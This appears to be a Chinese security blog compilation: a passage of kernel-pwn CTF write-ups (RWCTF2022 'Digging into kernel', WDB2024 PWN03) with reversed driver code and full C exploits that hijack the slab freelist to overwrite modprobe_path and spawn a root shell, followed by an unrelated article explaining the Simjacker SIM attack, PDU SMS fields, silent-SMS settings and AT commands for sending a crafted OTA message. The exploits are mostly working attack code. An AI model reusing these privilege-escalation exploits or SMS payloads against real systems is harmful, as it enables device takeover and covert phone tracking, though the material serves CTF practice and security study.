alloc_buf(bof_fd, &p);    read_buf(bof_fd, &p);    qword_dump("leak modprobe_path", buf, 0x30);    strcpy((char *) &buf[4], "/tmp/shell.sh\x00");    write_buf(bof_fd, &p);    read_buf(bof_fd, &p);    qword_dump("leak modprobe_path", buf, 0x30);    if (open("/shell.sh", O_RDWR) < 0) {        system("echo '#!/bin/sh' >> /tmp/shell.sh");        system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");        system("chmod +x /tmp/shell.sh");   }    system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");    system("chmod +x /tmp/fake");    system("/tmp/fake");    return 0; } RWCTF2022 Digging into kernel 1 & 2 题目分析 start.sh #!/bin/sh qemu-system-x86_64 \    -kernel bzImage \    -initrd rootfs.img \    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \    -cpu kvm64,+smep,+smap \    -monitor null \    --nographic \    -s 逆向分析 int __cdecl xkmod_init() {  kmem_cache *v0; // rax  printk(&unk_1E4);  misc_register(&xkmod_device);  v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);  buf = 0LL;  s = v0;  return 0; }int __fastcall xkmod_release(inode *inode, file *file) {  return kmem_cache_free(s, buf); // maybe double free }void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3) {  __int64 data; // [rsp+0h] [rbp-20h] BYREF  unsigned int idx; // [rsp+8h] [rbp-18h]  unsigned int size; // [rsp+Ch] [rbp-14h]  unsigned __int64 v6; // [rsp+10h] [rbp-10h]                                                // v3 __ : 0x8 rsp + 0x0                                                // v4 __ : 0x4 rsp + 0x8                                                // v5 __ : 0x4 rsp + 0xc  v6 = __readgsqword(0x28u);  if ( a3 ) {    copy_from_user(&data, a3, 0x10LL);    if ( a2 == 0x6666666 )   {      if ( buf && size <= 0x50 && idx <= 0x70 )     {        copy_from_user((char *)buf + (int)idx, data, (int)size);        return;     }   }    else   {      if ( a2 != 0x7777777 )     {        if ( a2 == 0x1111111 )          buf = (void *)kmem_cache_alloc(s, 0xCC0LL);        return;     }      if ( buf && size <= 0x50 && idx <= 0x70 )     {       ((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);        return;     }   }    xkmod_ioctl_cold(); } } 利用思路 关于内核基址获取,在内核堆基址(page_offset_base) + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去找堆的基址,之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。 #define __PAGE_OFFSET           page_offset_base #define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET) #define __va(x) ((void *)((unsigned long)(x)+PAGE_OFFSET)) /* Must be perfomed *after* relocation. */ trampoline_header = (struct trampoline_header *) __va(real_mode_header->trampoline_header); ... trampoline_header->start = (u64) secondary_startup_64; [......] // vmlinux 查找 secondary_startup_64 基址 .text:FFFFFFFF81000030 ; void secondary_startup_64() [......] pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20 0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000 0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067 0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901 0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000 0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000 至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。 exp #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/io.h> size_t modprobe_path = 0xFFFFFFFF82444700; void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("[*] %s:\n", desc);   }    for (int i = 0; i < len / 8; i += 4) {        printf(" %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");       }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');       }        puts("");   } } struct Data {    size_t *buf;    u_int32_t offset;    u_int32_t size; }; void alloc_buf(int fd, struct Data *data) {    ioctl(fd, 0x1111111, data); } void write_buf(int fd, struct Data *data) {    ioctl(fd, 0x6666666, data); } void read_buf(int fd, struct Data *data) {    ioctl(fd, 0x7777777, data); } int main() {    int xkmod_fd[5];    for (int i = 0; i < 5; i++) {        xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);        if (xkmod_fd[i] < 0) {            printf("[-] %d Failed to open xkmod.", i);            exit(-1);       }   }    struct Data data = {malloc(0x1000), 0, 0x50};    alloc_buf(xkmod_fd[0], &data);    close(xkmod_fd[0]);    read_buf(xkmod_fd[1], &data);    qword_dump("buf", data.buf, 0x50);    size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;    printf("[+] page_offset_base: %p\n", page_offset_base);    data.buf[0] = page_offset_base + 0x9d000 - 0x10;    write_buf(xkmod_fd[1], &data);    alloc_buf(xkmod_fd[1], &data);    alloc_buf(xkmod_fd[1], &data);    data.size = 0x50;    read_buf(xkmod_fd[1], &data);    qword_dump("buf", data.buf, 0x50);        size_t kernel_offset = data.buf[2] - 0xffffffff81000030;    printf("kernel offset: %p\n", kernel_offset);    modprobe_path += kernel_offset;    close(xkmod_fd[1]);    data.buf[0] = modprobe_path - 0x10;    write_buf(xkmod_fd[2], &data);    alloc_buf(xkmod_fd[2], &data);    alloc_buf(xkmod_fd[2], &data);    strcpy((char *) &data.buf[2], "/home/shell.sh");    write_buf(xkmod_fd[2], &data);    if (open("/home/shell.sh", O_RDWR) < 0) {        system("echo '#!/bin/sh' >> /home/shell.sh");        system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");        system("chmod +x /home/shell.sh");   }    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");    system("chmod +x /home/fake");    system("/home/fake");    return 0; } WDB2024 PWN03 利用思路 基本上和RWCTF2022 Digging into kernel 1 & 2是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp贴在下面,但是建议大家自己写一个exp。 exp #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/io.h> size_t modprobe_path = 0xFFFFFFFF81E58B80; void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("[*] %s:\n", desc);   }    for (int i = 0; i < len / 8; i += 4) {        printf(" %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");       }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');       }        puts("");   } } void alloc_buf(int fd, int size) {    printf("[+] kmalloc %d\n", size);    ioctl(fd, 0x0, size); } void free_buf(int fd) {    printf("[+] kfree\n");    ioctl(fd, 0x1, 0); } void read_buf(int fd, size_t* buf, int size) {    printf("[+] copy_to_user %d\n", size);    read(fd, buf, size);    qword_dump("read_buf", buf, size); } void write_buf(int fd, size_t* buf, int size) {    printf("[+] copy_from_user %d\n", size);    qword_dump("write_buf", buf, size);    write(fd, buf, size); } int main() {    size_t* buf = malloc(0x500);    int easy_fd;    easy_fd = open("/dev/easy", O_RDWR);    alloc_buf(easy_fd, 0xa8);    free_buf(easy_fd);    read_buf(easy_fd, buf, 0xa8);    size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;    printf("[*] page_offset_base %p\n", page_offset_base);    buf[0] = page_offset_base + 0x9d000 - 0x10;    write_buf(easy_fd, buf, 0x8);        alloc_buf(easy_fd, 0xa8);    alloc_buf(easy_fd, 0xa8);    read_buf(easy_fd, buf, 0xa8);        size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;    printf("[*] kernel offset: %p\n", kernel_offset);    modprobe_path += kernel_offset;    buf[0] = modprobe_path - 0x20;    alloc_buf(easy_fd, 0xa8);    free_buf(easy_fd);    write_buf(easy_fd, buf, 0x8);    alloc_buf(easy_fd, 0xa8);    alloc_buf(easy_fd, 0xa8);    read_buf(easy_fd, buf, 0x20);    strcpy((char *) &buf[4], "/shell.sh\x00");    write_buf(easy_fd, buf, 0x30);    if (open("/shell.sh", O_RDWR) < 0) {        system("echo '#!/bin/sh' >> /shell.sh");        system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");        system("chmod +x /shell.sh");   }    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");    system("chmod +x /fake");    system("/fake");    return 0; }
SIM Jacker攻击分析
简介: 2019年9月12日,AdaptiveMobile Security公布了一种针对SIM卡S@TBrowser的远程攻击方式:Simjacker。攻击者使用普通手机发送特殊构造的短信即可远程定位目标,危害较大。sim卡的使用在手机上的使用非常普遍,所以一旦SIM卡上出现什么问题就会造成非常大的影响。在19年的报告纰漏中,在全球估算共有10亿设备的sim卡容易遭受SIM Jacker攻击,这篇也是比较浅显的对整个攻击进行分析。 1.一点点背景 在了解整个攻击前需要对整体的一个框架有所了解,现在我们就先来了解一下短信是如何去发送的。GSM的中文就是全球移动通信系统,是由欧洲电信标准组织ETSI 制定的一种数字制式的蜂窝移动通信系统。当初开发 GSM目的是让全球各地可以共同使用一个移动电话网络标准,让用户使用一部手机就能行遍全球,因此GSM 还有一个很接地气的俗称------全球通。 GSM与它以前的标准相比较而言最大的不同是它的信令和语音信道都是数字式的,因此GSM 被看作是第二代(2G)移动电话系统。 短信(Short MessageService,SMS)是基于 GSM(全球移动通信系统)网络标准的通信服务之一,SMS允许通过 GSM 网络发送和接收文本消息。现在来看看整个短信的发送流程。 这里面中最主要涉及到了三个很重要的主体:发送者,短信中心,接收者。也就是我们的短信必须经过短信中心的转发才能到达接收者的SIM卡上。这里面也涉及到了很多基站的不同功能,比较完整的发送详细的可以看这个https://zhuanlan.zhihu.com/p/41439805。 以下是具体的步骤: 发送者编辑短信,通过无线信号(SIM)将消息内容发送到基站 基站收到消息内容经过一系列网元处理将其转发到运营商短信服务中心 运营商短信服务中心经过一系列网元处理将数据转发到接收者附近的基站 接收者附近的基站将短信内容发送到接收者 2.PDU模式短信的格式 GSM收发短消息又分三种模式:BLOCK 模式、TEXT 模式和PDU 模式。BLOCK模式现在用的很少了;TEXT 模式则只能发送ASCII码,它不能发送中文的https://so.csdn.net/so/search?q=UNICODE&spm=1001.2101.3001.7020码(确切地讲,从技术上来说是可以用于发送中文短消息的,但是国内的手机基本上不支持);而PDU模式开发起来则较为复杂,它需要编写专门的函数来将文本转换为PDU格式,但PDU模式被所有手机支持,可以使用任何字符集,它也是手机默认的编码方式。接下来我们来主要了解在这个模式下短信的格式。 以一个现实里的例子去讲解这个,这些是16进制的表示 0891683108200805F011190D91683188902848F40008FF108FD9662F4E0067616D4B8BD577ED4FE1 短信中心地址字段 0891683108200805F0 FirstOctet字段 11 消息参考值 19 接收者号码字段 0D91683188902848F4 协议标识 00 编码方法 08 有效期 FF 用户数据长度 F10 用户数据 8F......E1 短信中心地址字段 这个就是短信中心的地址,一般SIM卡都已经写好了,所以这里还有一个很常见的写法就是00,表示默认。08表示字节长度,9168表示的就是+86,表示的是在中国的号码,然后后面跟着号码。 FirstOctet字段 这个字段非常重要,涉及到许多设置,每一bit都有用处,先将十六进制下的11换成二进制的00010001, 我们从最低位开始,从右往左看 首先我们看的就是01(对这俩位得连在一起看),这俩位表示的是这个短信的类型,最常见的有俩种SMS-SUBMIT、SMS-DELIVER。SMS-SUBMIT表示移动终端设备发送到短信中心,SMS-DELIVER表示短信中心发送到移动终端设备,对应的分别是01和00,这里是01,表示就是这是一条发送者的短信 接下来就是第2位0,表示是否要接收重复的消息 然后是10,这里表示了短信有效期的形式,10表示使用的相对时间,这也是常用的设置 然后就是第5位啦,这是一个非常有意思的参数,返回短信状态报告。用通俗的话讲就是告诉发送者接收者是否已经接收到了短信,这里面所蕴含的信息在USENIX23上被用来实现了定位 然后第6位就是用户数据头标示,当它等于0的时候就是表明这是一个短信消息,如果是一个OTA消息呢,比如SIM jacker,就得设置为1 第7位是设置回复路径,每个SIM卡都设置了一个短信中心的号码,如果设置为0,那么接收者接回复短信时用的也是发送者的短信中心;如果这个是1,那么接收者将使用自己的短信中心 用一下别人的表,大家可以来对照一下: 消息参考值 这个值有点像ID,范围是0~255,如果一个短信被分成了多片,短信中心可以依据这个值将其进行组合 目标地址 这个同短信中心的设置,不过这里的0D表示的数字的长度,表示有几个数字 协议标识符 它是表明一条短信的用途或协议,它不仅用于传统的短信传输,也用于传输其他类型的信息,如传真、电子邮件或无线应用协议(WAP)消息。00表示的没有什么特殊的协议,静默短信的设置也涉及到这个,需要将这个修改成40,这个静默短信发送给接收者是完全没有任何提示的 数据编码方案 指明这个pdu的编码方式是什么,PDU收发短信有三种编码可用:7-bit、8-bit和UCS2编码,00为7Bit编码,04是8bit,08是UCS2编码,到后面的可以表达的内容更多,7bit简单的英文到UCS2编码可以发送中文。 有效期 这里根据前面常见的设置就是相对有效期,FF表示最大30天,00最小5分钟 用户数据长度 后面跟着的数据的长度 3.一点点实验 了解到了一个PDU模型,短信的格式,一个标准的pdu可以直接用在线的网站进行生成,http://www.sendsms.cn/pdu/,大部分格式限定后,就可以修改部分设置 现在pdu格式有了,该如何发呢,这种最简单的情况就是去网上买个GSM模块,插上一张可以收发短信的SIM卡就可以直接用了,但考虑到大家只是简单了解一下,也不一定非得买个专门的设备,所以我们这里使用一个大家肯定都有的设备的,一台root过的手机。我使用的是魅族m3note,比较好root,大家也可以试试。 首先先接入adb进行调试,已经确定获得了root权限 因为安卓为linux系统修改的,所以一切皆文件,插入的sim卡也会被映射成一个文件,可以进行操作 一个示例如下 现在我们需要找到插入SIM卡之后的对应的文件,最简单的方式就是对比插入前后的对比找到 查看/proc/devices ,不过并没有变化,这里判断应该是准备着有接口,已经存在。 使用demsg,但是因为数据线处于连接状态充电,会有很多杂乱信息,而且魅族上使用的也不是smd* ,这里也可以尝试一个一个去找,但也会有很多问题。 这里找到一个比较好的办法,查看设备的radio日志 logcat -b radio | grep dev 先挂起日志监控,在插入SIM卡后,会输出大量信号,这里就成功定位到了SIM卡所映射的设备 因为每个设备对换行的接收不一样,所以建议几种方式一起去试,一个例子如下: echo -e "AT+COPS?" > /dev/pts/4\echo -e "AT+COPS?\r" > /dev/pts/4\echo -e "AT+COPS?\r\n" > /dev/pts/4\echo -e "AT+COPS?\n" > /dev/pts/4\echo -e "AT+COPS?;" > /dev/pts/4\echo -e "AT+COPS?;\r" > /dev/pts/4\echo -e "AT+COPS?;\r\n" > /dev/pts/4\echo -e "AT+COPS?;\n" > /dev/pts/4 之后逐一筛选,选择合适的结尾,这里是\n 然后发送一条短信试试 echo -e "AT+CMGF=0\n" > /dev/pts/4 # PDU模式\echo -e "AT+CMGS=20\n" > /dev/pts/4 # 字符长度\echo -e "0031000D9168xxxxxxxxxxxx00000005E8329BFD06\032\n" >/dev/pts/4 之后就可以在接收者那收到短信,\032 对应ctrl\^z,是发完短信的结束符,不算入总长度 4.SIM Jacker 了解完前面三个部分,大家有了一些基本的了解,接下来我们就来看看SIMJacker这个攻击,一些具体的影响后果啥的就不去细究了,主要还是了解背后的一些原理。 (1)OTA消息 OTA 消息,也称为二进制消息,是包含一组(U)SIM 应用程序工具包(USAT)命令的特定 APDU 消息,这些消息针对 SIM卡内的特定应用程序,而这些应用程序又执行消息本身提供的USAT命令,这些命令包括:设置呼叫、发送短信、更新SIM 信息、编辑 SIM 文件等。 OTA 消息通常设计为从运营商发送到用户,服务提供商可以引入新的 SIM服务、修改 SIM的内容、执行软件更新、配置设置,甚至更新移动设备的加密密钥。 正是因为这一特性的存在导致了SIMJacker的发生,也就是OTA消息也可以由一个用户发送,而非短信中心。 SIM Jacker发生的条件主要有三个: 短信中心可以接受并转发PDU消息 接收者能够解析SIM应用工具包命令的PDU消息 SIM上部署了S@T浏览器技术,并且设置了"不应用任何安全措施"的最低安全级别 其他的一些条件,比如主动 UICC 命令等这些都是默认开启的,这里就不在提及。 让我在回到PDU模式短信那块,在FirstOctet字段中有一位可以将普通的用户数据,变成对SIM卡特定应用的程序的执行命令,就是要将第6位的用户数据头标示设置成1。也有很多是SIMjacker的攻击中的PDU是0041开头的。 先用一张图开始: 前面的部分和之前一样,主要来解释一下后面的UD部分: 先开始的是用户数据头,包含了俩部分 一个是是用户数据头的字节长度,另一个是用户数据头的设置,可以设置是否包含安全头。 命令包包含有关消息安全性、消息发往哪个应用程序以及我们想要执行的实际命令是什么等非常重要的信息。 命令包长度是整个命令包的字节长度: 命令头长度是命令头的字节长度: 命令头由6 个不同的值组成: 安全参数指示符(SPI)指定是否对消息应用任何安全性,在SIMjacker中要将SPI设置如下:SPI = 0x0000 加密密钥标识符(KIC)所使用的加密类型,我们将其设置为:KIC = 0x00 密钥标识符 (KID)指定用于加密的密钥,我们将其设置为:KID = 0x00 目标应用程序参考 (TAR)标识了我们将向其发送消息的 SIM卡上的应用程序,我们将其设置为S@T 浏览器: TAR = 0x505348 计数器和填充计数器 (CNTR & PCNTR),这些值的设置如下:CNTR =0x0000000000PCNTR= 0x00 安全数据(S@T/STK 命令)(关键) 这是有效载荷中最重要的部分,它包含我们希望S@T浏览器应用程序代表我们执行的命令。这些命令是使用STK字节码构建的,例如,它可以用于设置呼叫和发送短信。 (2)示例分析 一个具体的例子就在下面 AT+CMGF=0\AT+CMGS=69\>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121...2D0C100383...2B00(CTRL + Z) 将这些结构对应回图上, 现在检测或者进行的SIM jacker的工具已经有了,大家拿一个SIMTester和一个读卡器就可以了,不过国内的SIM卡没有这方面的攻击案例,自己测试也没有找到这方面的案例。